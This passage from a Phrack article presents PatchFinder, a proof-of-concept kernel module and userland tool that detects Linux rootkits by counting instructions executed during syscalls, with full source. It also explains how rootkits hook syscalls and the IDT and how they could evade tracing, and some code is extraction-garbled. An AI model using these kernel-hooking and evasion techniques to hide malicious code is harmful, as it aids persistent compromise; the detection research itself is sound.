reliably, since we use sys_read() or sys_mmap() to read or mmap /dev/kmem.
We can not be sure that malicious code we are trying to find, does not
alter sys_read()/sys_mmap() system calls.

----[ modifying kernel code

Instead of changing pointers in the syscall table, malicious program can
alter some code in the kernel, like system_call function. In this case
analysis of syscall table would not show anything. Therefore we would like
to scan scan kernel memory and check whether the code area has been

It is simple to implement if there is LKM enabled. However, if we do not
have LKM support, we must access kernel memory through /dev/kmem and again
we face the problem of unreliable sys_read()/sys_mmap().

SucKIT (see [SUKT01]) is an example of rootkit which uses /dev/kmem to
access kernel and then changing system_call code, not touching original
syscall table.  Although SucKIT does not alter sys_read() and sys_mmap()
behavior, this feature can be added, making it impossible to detect such
backdoor by conventional techniques (i.e. memory scanning through

----[ modifying other pointers

In the previous issue of Phrack palmers presented nice idea of changing
some pointers in /proc filesystem (see [PALM01]). Again if our system has
LKM enabled we can, at least theoretically, check all the kernel structures
and find out if somebody has changed some pointers. However it could be
difficult in implementation, because we have to foresee all potential
places the rootkit may exploit.

With LKM disabled, we face the same problem as explained in the above

--[ Execution path analysis (stepping the kernel)

As we can see, detection of kernel rootkits is not trivial. Of course if we
have LKM support enabled we can, theoretically, scan the whole kernel
memory and find the intruder. However we must be very careful in deciding
what to look for. Differences in the code indicates of course that
something is wrong.  Although change of some data should also be treated as
alarm (see prrf.o again), modifications of others structures might be
result of normal kernel daily tasks.

The things become even more complicated when we disable LKM on our kernel
(to be more secure:)). Then, as I have just said, we can not read kernel
memory reliable, because we are not sure that sys_read() returns real bytes
(so we can't read /dev/kmem). We are also not sure that sys_mmap2() fills
mapped pages with correct bytes...

Lets try from other side. If somebody modified some kernel functions, it is
very probable, that the number of instructions executed during some system
calls (for e.g. sys_getdents() in case an attacker is trying to hide files)
will be different than in the original kernel. Indeed, malicious code  must
perform some additional actions, like cutting off secret filenames, before
returns results to userland. This implies execution of many more
instructions compared to not infected system. We can measure this

----[ hardware stepper 

The ia32 processor, can be told to work in the single-step mode.  This is
achieved by setting the TF bit (mask 0x100) in EFLAGS register.  In this
mode processor will generate a debug exception (#DB) after every execution
of the instruction. 

What is happened when the #DB exception is generated? Processor stops
execution of the current process and calls debug exception handler. The #DB
exception handler is described by trap gate at interrupt vector 1.

In Intel's processors there is an array of 256 gates, each describing
handler for a specific interrupt vector (this is probably the Intel's
secret why they call this scalar numbers 'vectors'...).

For example at position 0x80 there is a gate which tells where is located
handler of the 0x80 trap - the Linux system call. As we all know it is
generated by the process by means of the 'int 0x80' instruction. This array
of 256 gates is called Interrupt Descriptor Table (IDT) and is pointed by
the idtr register. 

In Linux kernel, you can find this handler in arch/i386/kernel/entry.S
file.  It is called 'debug'. As you can see, after some not interesting
operations it calls do_debug() function, which is defined in

Because #DB exception is devoted not only for single stepping but to many
other debugging activities, the do_debug() function is a little bit
complex.  However it does not matter for us. The only thing we are
interested in, is that after detecting the #DB exception was caused by
single stepping (TF bit) a SIGTRAP signal is sent to traced process. The
process might catch this signal. So, it looks that we can do something like
this, in our userland program:

	volatile int traps = 0;

	int trap () {

	main () {
		signal (SIGTRAP, sigtrap);

		xor_eflags (0x100);
		/* call syscall we want to test */
		read (fd, buff, sizeof (buff));
		xor_eflags (0x100);

		printf ("testing syscall takes %d instruction\n", traps);

It looks simple and elegant. However has one disadvantage - it does not
work as we want. In variable traps we will find only the number of
instructions executed in userland. As we all know, read() is only a wrapper
to 'int 0x80' instruction, which causes the processor calls 0x80 exception
handler. Unfortunately the processor clears TF flag when executing 'int x'
(and this instruction is causing privilege level changing).

In order to stepping the kernel, we must insert some code into it, which
will be responsible for setting the TF flag for some processes. The good
place to insert such code is the beginning of the 'system_call' assembler
routine (defined in arch/i386/kernel/entry.S.), which is the entry for the
0x80 exception handler.

As I mentioned before the address of 'system_call' is stored in the gate
located at position 0x80 in the the Interrupt Descriptor Table (IDT). Each
gateway (IDT consist of 256 of them) has the following format:

	struct idt_gate {
		unsigned short  off1;
		unsigned short  sel;
		unsigned char   none, flags;
		unsigned short  off2;
	} __attribute__ ((packed));

The 'sel' field holds the segment selector, and in case of Linux is equal
to __KERNEL_CS. The handler routine is placed at (off2<<16+off1) within the
segment, and because the segments in Linux have the base 0x0, it means that
it is equal to the linear address. 

The fields 'none' and 'flags' are used to tell the processor about some
additional info about calling the handler. See [IA32] for detail.

The idtr register, points to the beginning of IDT table (it specifies
linear address, not logic as was in idt_gate):

	struct idtr {
		unsigned short  limit;
		unsigned int    base;	/* linear address of IDT table */
	} __attribute__ ((packed));

Now we see, that it is trivial to find the address of system_call in our
Linux kernel. Moreover, it is also easy to change this address to a new
one. Of course we can not do it from userland. That is why we need a kernel
module (see later discussion about what if we have LKM disabled), which
changes the address of 0x80 handler and inserts the new code, which we use
as the new system_call. And this new code may look like this: 

		pushl %ebx
		movl $-8192, %ebx
		andl %esp, %ebx			# %ebx <-- current
		testb $PT_PATCHFINDER,24(%ebx)	# 24 is offset of 'ptrace'
		je continue_syscall
		popl %ebx
		orl $TF_MASK, %ebx		# set TF flag
		pushl %ebx
		popl %ebx
		jmp *orig_system_call

As you can see, I decided to use 'ptrace' field within process descriptor,
to indicate whether a particular process wants to be single traced. After
setting the TF flag, the original system_call handler is executed, it calls
specific sys_xxx() function and then returns the execution to the userland
by means of the 'iret' instruction. Until the 'iret' every single
instruction is traced.

Of course we have to also provide our #DB handler, to account all this
instructions (this will replace the system's one):

		incl PF_traps 
The PF_traps variable is placed somewhere in the kernel during module

To be complete, we also need to add a new system call, which can be called
from the userland to set the PT_PATCHFINDER flag in current process
descriptor's 'ptrace' variable, to reset or return the counter value.

	asmlinkage int sys_patchfinder (int what) {
		struct task_struct *tsk = current;

		switch (what) {
			case PF_START:
				tsk->ptrace |= PT_PATCHFINDER;
				PF_traps = 0;
			case PF_GET:
				tsk->ptrace &= ~PT_PATCHFINDER;
			case PF_QUERY:
				return PF_ANSWER;
				printk ("I don't know what to do!\n");
				return -1;
		return PF_traps;

In this way we changed the kernel, so it can measure how many instructions
each system call takes to execute. See module.c in attached sources for
more details.

----[ the tests

Having the kernel which allows us to counter instructions in any system
call, we face the problem what to measure. Which kernel functions should we

To answer this question we should think what is the main task of every
rootkit? Well, its job is to hide presence of attacker's
process/files/connections in the rooted system. And those things should be
hidden from such tools like ls, ps, netstat etc. These programs collect the
system information through some well known system calls. 

Even if backdoor does not touch syscall directly, like prrf.o, it modifies
some kernel functions which are activated by one of the system call. The
problem lies in the fact, that these modified functions does not have to be
executed during every system call.  For example if we modify only some
pointer to reading functions in procfs, then attacker's code will be
executed only when read() is called in order to read some specific file,
like /proc/net/tcp.

It complicates detection a little, since we have to measure execution time
of particular system call with different arguments. For example we test
sys_read() by reading "/etc/passwd", "/dev/kmem" and "/proc/net/tcp" (i.e.
reading regular file, device and pseudo proc-file).

We do not test all system calls (about 230) because we assume that some
routine tasks every backdoor should do, like hiding processes or files,
will use only some little subset of syscalls.  

The tests included in PatchFinder, are defined in tests.c file. The
following one is trying to find out if somebody is hiding some processes
and/or files in the procfs:

	int test_readdir_proc () {
		int fd, T = 0;
		struct dirent de[1];

		fd = open ("/proc", 0, 0);
		assert (fd>0);	

		patchfinder (PF_START);	
		getdents (fd, de,  sizeof (de));
		T = patchfinder (PF_GET);
		close (fd);
		return T;	

Of course it is trivial to add a new test if necessary. There is however,
one problem: false positives. Linux kernel is a complex program, and most
of the system calls have many if-then clauses which means different patch
are executed depending on many factors. These includes caches and 'internal
state of the system', which can be for e.g. a number of open TCP
connections.  All of this causes that sometime you may see that more (or
less) instructions are executed. Typically this differences are less then
10, but in some tests (like writing to the file) it may be even 200!.

This could be minimizing by increasing the number of iteration each test is
taken. If you see that reading "proc/net/tcp" takes longer try to reset the
TCP connections and repeat the tests. However if the differences are
significant (i.e. more then 600 instructions) it is very probably that
somebody has patched your kernel.

But even then you must be very careful, because this differences may be
caused by some new modules you have loaded recently, possibly unconscious. 

--[ The PatchFinder

Now the time has came to show the working program. A proof of concept is
attached at the end of this article.  I call it PatchFinder. It consist of
two parts - a module which patches the kernel so that it allows to debug
syscalls, and a userland program which makes the tests and shows the
results. At first you must generate a file with test results taken on the
clear system, i.e. generated after you installed a new kernel. Then you can
check your system any time you want, just remember to insert a
patchfinder.o module before you make the test. After the test you should
remove the module. Remember that it replaces the Linux's native debug
exception handler!

The results on clear system may look like this (observe the little
differences in 'diff' column):

	    test name      | current | clear | diff  | status 
	open_file          |    1401|    1400|      1|  ok 
	stat_file          |    1200|    1200|      0|  ok 
	read_file          |    1825|    1824|      1|  ok 
	open_kmem          |    1440|    1440|      0|  ok 
	readdir_root       |    5784|    5774|     10|  ok 
	readdir_proc       |    2296|    2295|      1|  ok 
	read_proc_net_tcp  |   11069|   11069|      0|  ok 
	lseek_kmem         |     191|     191|      0|  ok 
	read_kmem          |     322|     321|      1|  ok 

The tests on the same system, done when there was a adore loaded shows the

	    test name      | current | clear | diff  | status 
	open_file          |    6975|    1400|   5575| ALERT!
	stat_file          |    6900|    1200|   5700| ALERT!
	read_file          |    1824|    1824|      0|  ok 
	open_kmem          |    6952|    1440|   5512| ALERT!
	readdir_root       |    8811|    5774|   3037| ALERT!
	readdir_proc       |   14243|    2295|  11948| ALERT!
	read_proc_net_tcp  |   11063|   11069|     -6|  ok 
	lseek_kmem         |     191|     191|      0|  ok 
	read_kmem          |     321|     321|      0|  ok 

Everything will be clear when you analyze adore source code :). Similar
results can be obtained for other popular rootkits like knark or palmers'
prrf.o (please note that the prrf.o does not change the syscall table

The funny thing happens when you try to check the kernel which was
backdoored by SucKIT. You should see something like this: 

				---== ALERT! ==--
	It seems that module patchfinder.o is not loaded. However if you
	are sure that it is loaded, then this situation means that
	with your kernel is something wrong! Probably there is a rootkit

This is caused by the fact that SucKIT copies original syscall table into
new position, changes it in the fashion like knark or adore, and then
alters the address of syscall table in the system_call code so that it
points to this new copy of the syscall table. Because this copied syscall
table does not contain a patchfinder system call (patchfinder's module is
inserted just before the tests), the testing program is unable to speak
with the module and thinks it is not loaded. Of course this situation easy
betrays that something is wrong with the kernel (or that you forgot to load
the module:)).

Note, that if patchfinder.o is loaded you can not start SucKIT. This is due
its installation method which assumes how the system_call's binary code
should look like.  SucKIT is very surprised seeing PS_system_call instead
of original Linux 0x80 handler...

There is one more thing to explain. The testing program, before the
beginning of the tests, sets SCHED_FIFO scheduling policy with the highest
rt_priority. In fact, during the tests, only the patchfinder's process has
CPU (only hardware interrupts are serviced) and is never preempted, until
it finishes the tests. There are three reasons for such approach.

TF bit is set at the beginning of the system_call, and is cleared when the
'iret' instruction is executed at the end of the exception handler. During
the time the TF bit is set, sys_xxx() is called, but after this some
scheduling related stuff is also executed, which can lead to process
switch.  This is not good, because it causes more instruction to be
executed (in the kernel, we do not care about instructions executed in the
switched process of course).

There is also a more important issue. I observed that, when I allow process
switching with TF bit set, it may cause processor restart(!) after a few
hundred switches. I did not found any explanation of such behavior.  The
following problem does not occur when SET_SCHED is set.

The third reason to use realtime policy is to guarantee system state as
stable as possible. For example if our test was run in parallel with some
process which opens and reads lots of files (like grep), this could affect
some tests connected with sys_open()/sys_read().

The only disadvantage of such approach is that your system is inaccessible
during the tests. However it does not take long since a typical test
session (depending on the number of iterations per each test) takes less
then 15 seconds to complete.

And a technical detail: attached source code is using LKM to install
described kernel extensions. At the beginning of the article I have said,
that on some systems LKM is not compiled into the kernel. We can use only
/dev/kmem. I also said that we can not relay on /dev/kmem since we are
using syscalls to access it. However it should not be a problem for tool
like patchfinder, because if rootkit will disturb in loading of our
extensions we should see that the testing program is not working. See also
discussion in the next section.

--[ Cheating & hardening patchfinder program

Now I will try to discuss a possible methods of compromising presented
method in general and attached patchfinder program in particular. I will
also try to show how to defend against such attacks, describing the
properties of the next generation patchfinder...

The first thing a malicious code can do is to check if it is traced. It may
simply execute:

		popl %ebx
		testb $0x100, %ebx
		jne i_am_traced
		# contine executing

		# deinstall for
		# a moment
When malicious code realize that it is traced it may uninstall itself from
the specific syscall. However, before that, it will settle in the timer
interrupt handler, so after for e.g. 1 minute it will back to that syscall. 

How to defend such trick? Well, remember that we (i.e. patchfinder) are
tracing the code all the time. So the debug handler (which is provided by
us) can detect that 'pushf' instruction has been just executed. Then it may
alter the 'eflags' saved on the stack (by just executed 'pushf'), so that
for the traced process it looks like the TF flags was cleared.

I do not see at the moment any other general attack against execution trace
analysis. However, there are possibilities of cheating a specific
implementation, like patchfinder, which I am going to discuss now.

The attacker can alter sys_write() and check if process named 'patchfinder'
is trying to write a specific line to stdout - a line with some test
result.  Then it will change the write()'s buffer and user will see faked
results.  Similar, the rootkit may realized that a file with clear system
characteristic is to be read and change the buffer returned from
sys_read(), so the patchfinder will get false references.

Moreover, when patchfinder uses a fixed number for its system call, the
malicious rootkit can change the results returned by that system call and
in result cheat testing process about the number of instruction executed.

We can defend against such attacks, by causing that on each system
patchfinder's executable will get different name and also by encrypting the
file with clear system's characteristics. More over we should use different
numbers for patchfinder's system call. The rootkit could easily trace the
patchfinder's process by seeing that it calls specific system call.

We are not limited to only to empty system calls, since we can replace any
existing system call and first check if some magic numbers are in
arguments. In case there is no magic arguments we simply call original

Although using random number for patchfinder's syscall we makes it a little
bit harder for the rootkit to cheat the results returned to the patchfinder
process, it is still possible for the malicious code to find out which
syscall is being used. It can be achieved by pattern searching for the
specific binary instruction.  This will be easy since attacker knows
everything about the source code (and binary) of the patchfinder program.

Another method can exploit the fact that patchfinder marks a process to be
traced in some specific way (i.e. setting a bit in 'ptrace' field of the
process descriptor). Malicious rootkit can replace the system_call routine
with its own version. This new version will check if the process is marked
by patchfinder and then it will use original syscall table. If it is not
marked by testing process another syscall table will be used (which has
some sys_xxx() functions replaced). It will be hard for the #DB exception
handler to find out whether the rootkit is trying to check for e.g. the
'ptrace' field, since the code doing this can have many forms.

The debug exception handler's code can also betrays where is located the
counter variable (PF_traps) in memory. Knowing this address, smart rootkit
can decrease this variable at the end of its 'operational' code, by the
number of instructions in this additional code.

The only remedy I can see for the above weaknesses can be strong
polymorphism. The idea is to add a polymorphic code generator to the
patchfinder distribution which, for every system it is installed on, will
create a different binary images for patchfinder's kernel code.  This
generation could be based on some passphrase the administrator will provide
at the installation time. 

I have not yet implemented polymorphic approach, but it looks promising...

--[ Another solutions

The presented technique is a proposition of general approach to detect
kernel based rootkits. The main problem in such actions is that we want to
use kernel to help us detect malicious code which has the full control of
our kernel. In fact we can not trust the kernel, but on the other hand want
to get some reliable information form it.

Debugging the execution path of the system calls is probably not the only
one solution to this problem. Before I have implemented patchfinder, I had
been working on another technique, which tries to exploit differences in
the execution time of some system calls. The tests were actually the same
as those which are included with patchfinder. However, I have been using
processor 'rdtsc' instruction to calculate how many cycles a given piece of
code has been executed. It worked well on processor up to 500Mhz.
Unfortunately when I tried the program on 1GHz processor I noted that the
execution time of the same code can be very different from one test to
another. The variation was too big, causing lots of false positives. And
the differences was not caused by the multitasking environment as you may
think, but lays deeply in the micro-architecture of the modern processors.
As Andy Glew explained me, these beasties have tendencies to stabilizes the
execution time on one of the possible state, depending on the initial
conditions. I have no idea how to cause the initial state to be the same
for each tests or even to explore the whole space of theses initial states.
Therefore I switched to stepping the code by the hardware debugger. However
the method of measuring the times of syscall could be very elegant... If it
was working. Special thanks to Marcin Szymanek for initial idea about this
timing-based method.

Although it can be (possibly) many techniques of finding rootkits in the
kernel, it seems that the general approach should exploit polymorphism, as
it is probably the only way to get reliable information from the
compromised kernel.

--[ Credits

Thanks to for allowing me to test the program on different

--[ References

[HALF97] halflife, "Abuse of the Linux Kernel for Fun and Profit",
	 Phrack 50, 1997. 

[KNAR01] Cyberwinds, "Knark-2.4.3" (Knark 0.59 ported to Linux 2.4), 2001.

[ADOR01] Stealth, "Adore v0.42",, 2001.

[SILV98] Silvio Cesare, "Runtime kernel kmem patching",, 1998.

[SUKT01] sd, devik, "Linux on-the-fly kernel patching without LKM"
	 (SucKIT source code), Phrack 58, 2001.

[PALM01] palmers, "Sub proc_root Quando Sumus (Advances in Kernel Hacking)"
	 (prrf source code), Phrack 58, 2001.

[MMAP02] Guillaume Pelat, "Grsecurity problem - modifying
	 'read-only kernel'",, 2002.

[IA32]   "IA-32 Intel Architecture Software Developer's Manual", vol. 1-3,, 2001.

--[ Appendix: PatchFinder source code

This is the PatchFinder, the proof of concept of the described technique.
It does not implement polymorphisms. The LKM support is need in order to
run this program. If, during test you notice strange actions (like system
Oops) this probably means that somebody rooted your system. On the other
hand it could be my bug... And remember to remove the patchfinder's module
after the tests.

<++> ./patchfinder/Makefile


$(MODULE_NAME) : module.o traps.o
	ld -r -o $(MODULE_NAME) module.o traps.o

module.o : module.c module.h
	gcc -c module.c -I /usr/src/linux/include 

traps.o : traps.S module.h
	gcc -D__ASSEMBLY__ -c traps.S

$(PROG_NAME): main.o tests.o libpf.o
	gcc -o $(PROG_NAME) main.o tests.o libpf.o

main.o: main.c main.h
	gcc -c main.c -D MODULE_NAME='"$(MODULE_NAME)"'\
			  -D PROG_NAME='"$(PROG_NAME)"'
tests.o: tests.c main.h
libpf.o: libpf.c libpf.h

	rm -fr *.o $(PROG_NAME) 
<--> ./patchfinder/Makefile
<++> ./patchfinder/traps.S
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#include <linux/linkage.h>
#define __KERNEL__
#include "module.h"

tsk_ptrace  = 24 			# offset into the task_struct

	pushl %ebx
	movl $-8192, %ebx
	andl %esp, %ebx			# %ebx <-- current
	testb $PT_PATCHFINDER,tsk_ptrace(%ebx)
	je continue_syscall
	popl %ebx
	orl $TF_MASK, %ebx		# set TF flag
 	pushl %ebx
	popl %ebx
	jmp *orig_system_call

	incl PF_traps 
<--> ./patchfinder/traps.S
<++> ./patchfinder/module.h
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#ifndef __MODULE_H
#define __MODULE_H

#define PT_PATCHFINDER	0x80	/* should not conflict with PT_xxx
				   defined in linux/sched.h */

#define TF_MASK		0x100	/* TF mask in EFLAGS */

#define SYSCALL_VECTOR	0x80
#define DEBUG_VECTOR	0x1

#define PF_START	0xfee
#define PF_GET		0xfed
#define PF_QUERY	0xdefaced
#define PF_ANSWER	0xaccede

#define __NR_patchfinder 250


<--> ./patchfinder/module.h
<++> ./patchfinder/module.c
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#define MODULE
#define __KERNEL__
#include <linux/modversions.h>

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include "module.h"

#define DEBUG 1

MODULE_AUTHOR("Jan Rutkowski");
MODULE_DESCRIPTION("The PatchFinder module");
asmlinkage int PF_system_call(void);
asmlinkage int PF_debug (void);
int (*orig_system_call)();
int (*orig_debug)();
int (*orig_syscall)(unsigned int);
extern void *sys_call_table[];
int PF_traps;		

/* this one comes from arch/i386/kernel/traps.c */
#define _set_gate(gate_addr,type,dpl,addr) \
do { \
  int __d0, __d1; \
  __asm__ __volatile__ ("movw %%dx,%%ax\n\t" \
	"movw %4,%%dx\n\t" \
	"movl %%eax,%0\n\t" \
	"movl %%edx,%1" \
	:"=m" (*((long *) (gate_addr))), \
	 "=m" (*(1+(long *) (gate_addr))), "=&a" (__d0), "=&d" (__d1) \
	:"i" ((short) (0x8000+(dpl<<13)+(type<<8))), \
	 "3" ((char *) (addr)),"2" (__KERNEL_CS << 16)); \
} while (0)

struct idt_gate {
        unsigned short  off1;
        unsigned short  sel;
        unsigned char   none, flags;
        unsigned short  off2;
} __attribute__ ((packed));

struct idtr {
        unsigned short  limit;
        unsigned int    base;
} __attribute__ ((packed));

struct idt_gate * get_idt () {
	struct idtr idtr;
        asm("sidt %0" : "=m" (idtr));
	return (struct idt_gate*) idtr.base;

void * get_int_handler (int n) {
	struct idt_gate * idt_gate = (get_idt() + n);
	return (void*)((idt_gate->off2 << 16) + idt_gate->off1);

static void set_system_gate(unsigned int n, void *addr) {
	printk ("setting int for int %d -> %#x\n", n, addr);

asmlinkage int sys_patchfinder (int what) {
	struct task_struct *tsk = current;

	switch (what) {
		case PF_START:
			tsk->ptrace |= PT_PATCHFINDER;
			PF_traps = 0;
		case PF_GET:
			tsk->ptrace &= ~PT_PATCHFINDER;
		case PF_QUERY:
			return PF_ANSWER;
			printk ("I don't know what to do!\n");
			return -1;
	return PF_traps;

int init_module () {

	orig_system_call = get_int_handler (SYSCALL_VECTOR);
	set_system_gate (SYSCALL_VECTOR, &PF_system_call);

	orig_debug = get_int_handler (DEBUG_VECTOR);
	set_system_gate (DEBUG_VECTOR, &PF_debug);

	orig_syscall = sys_call_table[__NR_patchfinder];
	sys_call_table [__NR_patchfinder] = sys_patchfinder;
	printk ("Kernel PatchFinder has been succesfully"
		"inserted into your kernel!\n");
#ifdef DEBUG
	printk (" orig_system_call : %#x\n", orig_system_call);
	printk (" PF_system_calli  : %#x\n", PF_system_call);
	printk (" orig_debug       : %#x\n", orig_debug);
	printk (" PF_debug         : %#x\n", PF_debug);
	printk (" using syscall    : %d\n", __NR_patchfinder);

	return 0;

int cleanup_module () {
	set_system_gate (SYSCALL_VECTOR, orig_system_call);
	set_system_gate (DEBUG_VECTOR, orig_debug);
	sys_call_table [__NR_patchfinder] = orig_syscall;
	printk ("PF module safely removed.\n");
	return 0;

<--> ./patchfinder/module.c
<++> ./patchfinder/main.h
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#ifndef __MAIN_H
#define __MAIN_H

#define PF_MAGIC     "patchfinder"
#define M_GENTTBL    1	
#define M_CHECK	     2
#define MAX_TESTS    9	
#define TESTNAMESZ   32 

#define WARN_THRESHOLD 	 20
#define TRIES_DEFAULT	 200

typedef struct {
	int t;		
	double ft;
	char name[TESTNAMESZ];
	int (*test_func)();

typedef struct {
	char  magic[sizeof(PF_MAGIC)];
	int   ntests;
	int   tries;


<--> ./patchfinder/main.h
<++> ./patchfinder/main.c
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include "main.h"
#include "libpf.h"

void die (char *str) {
	if (errno) perror (str);
	else printf ("%s\n", str);
	exit (1);

void usage () {
 printf ("(c) Jan K. Rutkowski, 2002\n");
 printf ("email:\n");
 printf ("%s [OPTIONS] <filename>\n", PROG_NAME);
 printf ("  -g save current system's characteristics to file\n");
 printf ("  -c check system against saved results\n");
 printf ("  -t change number of iterations per each test\n");
 exit (0);	


void write_ttbl (TTBL* ttbl, char *filename) {
	int fd;
	fd = open (filename, O_WRONLY | O_CREAT);
	if (fd < 0) die ("can not create file");
	strcpy (ttbl->magic, PF_MAGIC);
	if (write (fd, ttbl, sizeof (TTBL)) < 0)
			die ("can not write to file");
	close (fd);

void read_ttbl (TTBL* ttbl, char *filename) {
	int fd;
	fd = open (filename, O_RDONLY);
	if (fd < 0) die ("can not open file");
	if (read (fd, ttbl, sizeof (TTBL)) != sizeof(TTBL))
			die ("can not read file");
	if (strncmp(ttbl->magic, PF_MAGIC, sizeof (PF_MAGIC)))
		die ("bad file format\n");
	close (fd);

main (int argc, char **argv) {
	TTBL current, clear;	
	int tries = 0, mode = 0;
	int  opt, max_prio, i, j, T1, T2, dt;
	char *ttbl_file;
	struct sched_param sched_p;

	while ((opt = getopt (argc, argv, "hg:c:t:")) != -1)
		switch (opt) {
			case 'g':
				mode = M_GENTTBL;
				ttbl_file = optarg;
			case 'c':
				ttbl_file = optarg;
				mode = M_CHECK;
			case 't':
				tries = atoi (optarg);
			case 'h':
			default :
 	if (getuid() != 0) 
		die ("For some reasons you have to be root");
	if (!mode) usage();

	if (patchfinder (PF_QUERY) != PF_ANSWER) {
		printf (
			"\n			---== ALERT! ==--\n"
			"It seems that module %s is not loaded. "
	       		"However if you are\nsure that it is loaded,"
		        "then this situation means that with your\n"
       			"kernel is something wrong! Probably there is "
		       	"a rootkit installed!\n", MODULE_NAME);
		exit (1);
	current.tries = (tries) ? tries : TRIES_DEFAULT;
	if (mode == M_CHECK) {
		read_ttbl (&clear, ttbl_file);
		current.tries = (tries) ? tries : clear.tries;
	max_prio = sched_get_priority_max (SCHED_FIFO);
	sched_p.sched_priority = max_prio;
	if (sched_setscheduler (0, SCHED_RR, &sched_p) < 0)
		die ("Setting realtime policy\n");

	fprintf (stderr, "* FIFO scheduling policy has been set.\n");	
	generate_ttbl (&current);
	sched_p.sched_priority = 0;
	if (sched_setscheduler (0, SCHED_OTHER, &sched_p) < 0)
		die ("Dropping realtime policy\n");
	fprintf (stderr, "* dropping realtime schedulng policy.\n\n");

	if (mode == M_GENTTBL) {
		write_ttbl (&current, ttbl_file);
		exit (0);

	printf (
	"    test name      | current | clear | diff  | status \n");
	printf (

	for (i = 0; i < current.ntests; i++) {
		if (strncmp (current.test[i].name,
				clear.test[i].name, TESTNAMESZ))
			die ("ttbl entry name mismatch");

		T1 = current.test[i].t;
		T2 = clear.test[i].t;	
		dt = T1 - T2;
		printf ("%-18s | %7d| %7d|%7d|",
			current.test[i].name, T1, T2, dt);
		dt = abs (dt);	
		if (dt < WARN_THRESHOLD) printf ("  ok ");
			printf ("  (?) ");
		if (dt >= ALERT_THRESHHOLD) printf (" ALERT!");
		printf ("\n");


<--> ./patchfinder/main.c
<++> ./patchfinder/tests.c
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/types.h>
#include <linux/dirent.h>	
#include <linux/unistd.h>
#include <assert.h>
#include "libpf.h"
#include "main.h"

int test_open_file () {
        int tmpfd, T = 0;

	patchfinder (PF_START);
	tmpfd = open ("/etc/passwd", 0, 0);
	T = patchfinder (PF_GET);

	close (tmpfd);
	return T;	

int test_stat_file () {
	int T = 0;
	char buf[0x100];	/* we dont include sys/stat.h */
	patchfinder (PF_START);
	stat ("/etc/passwd", &buf);
	T = patchfinder (PF_GET);

	return T;	

int test_read_file () {
	int fd, T = 0;
	char buf[0x100];

	fd = open ("/etc/passwd", 0, 0);
	if (fd < 0) die ("open");

	patchfinder (PF_START);
	read (fd, buf , sizeof(buf)); 
	T =  patchfinder (PF_GET);

	close (fd);
	return T;	

int test_open_kmem () {
	int tmpfd;
	int T = 0;

	patchfinder (PF_START);
	tmpfd = open ("/dev/kmem", 0, 0);
	T = patchfinder (PF_GET);

	close (tmpfd);
	return T;

_syscall3(int, getdents, int, fd, struct dirent*, dirp, int, count)
int test_readdir_root () {
	int fd, T = 0;
	struct dirent de[1];

	fd = open ("/", 0, 0);
	if (fd < 0) die ("open");

	patchfinder (PF_START);
	getdents (fd, de,  sizeof (de));
	T = patchfinder (PF_GET);

	close (fd);
	return T;	

int test_readdir_proc () {
	int fd, T = 0;
	struct dirent de[1];

	fd = open ("/proc", 0, 0);
	if (fd < 0) die ("open");

	patchfinder (PF_START);
	getdents (fd, de,  sizeof (de));
	T = patchfinder (PF_GET);
	close (fd);
	return T;	

int test_read_proc_net_tcp () {
	int fd, T = 0;
	char buf[32];

	fd = open ("/proc/net/tcp", 0, 0);
	if (fd < 0) die ("open");
	patchfinder (PF_START);
	read (fd, buf , sizeof(buf)); 
	T = patchfinder (PF_GET);

	close (fd);
	return T;	

int test_lseek_kmem () {
	int fd, T = 0;

	fd = open ("/dev/kmem", 0, 0);
	if (fd <0) die ("open");

	patchfinder (PF_START);
	lseek (fd, 0xc0100000, 0); 
	T = patchfinder (PF_GET);

	close (fd);
	return T;

int test_read_kmem () {
	int fd, T = 0;
	char buf[256];

	fd = open ("/dev/kmem", 0, 0);
	if (fd < 0) die ("open");
	lseek (fd, 0xc0100000, 0);
	patchfinder (PF_START);
	read (fd, buf , sizeof(buf)); 
	T = patchfinder (PF_GET);

	close (fd);
	return T;	

int generate_ttbl (TTBL *ttbl) {
	int i = 0, t;
#define set_test(testname) {				\
	ttbl->test[i].test_func = test_##testname;	\
        strcpy (ttbl->test[i].name, #testname);		\
	ttbl->test[i].t = 0;				\
	ttbl->test[i].ft = 0;				\
	i++;						\


	assert (i <= MAX_TESTS);
	ttbl->ntests = i;
#undef set_test
	fprintf (stderr, "* each test will take %d iteration\n",
	usleep (100000);		
	for (i = 0; i < ttbl->ntests; i++) {	
		for (t = 0; t < ttbl->tries; t++)  
			ttbl->test [i].ft +=
		fprintf (stderr, "* testing... %d%%\r",
		usleep (10000);

	for (i = 0; i < ttbl->ntests; i++) 
		ttbl->test [i].t =
	       	(int) (ttbl->test[i].ft/(double)ttbl->tries);	

	fprintf (stderr, "\r* testing... done.\n");	
	return i;


<--> ./patchfinder/tests.c
<++> ./patchfinder/libpf.h
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#ifndef __LIBPF_H
#define __LIBPF_H

#include "module.h"

int patchfinder(int what);


<--> ./patchfinder/libpf.h
<++> ./patchfinder/libpf.c
/*                                                            */
/*            The Kernel PatchFinder version 0.9              */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <>  */
/*                                                            */

#include <asm/unistd.h>
#include <errno.h> 
#include "libpf.h"

_syscall1(int, patchfinder, int, what)

<--> ./patchfinder/libpf.c


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0b of 0x12

|=-----------------=[ It cuts like a knife. SSHarp. ]=-------------------=|
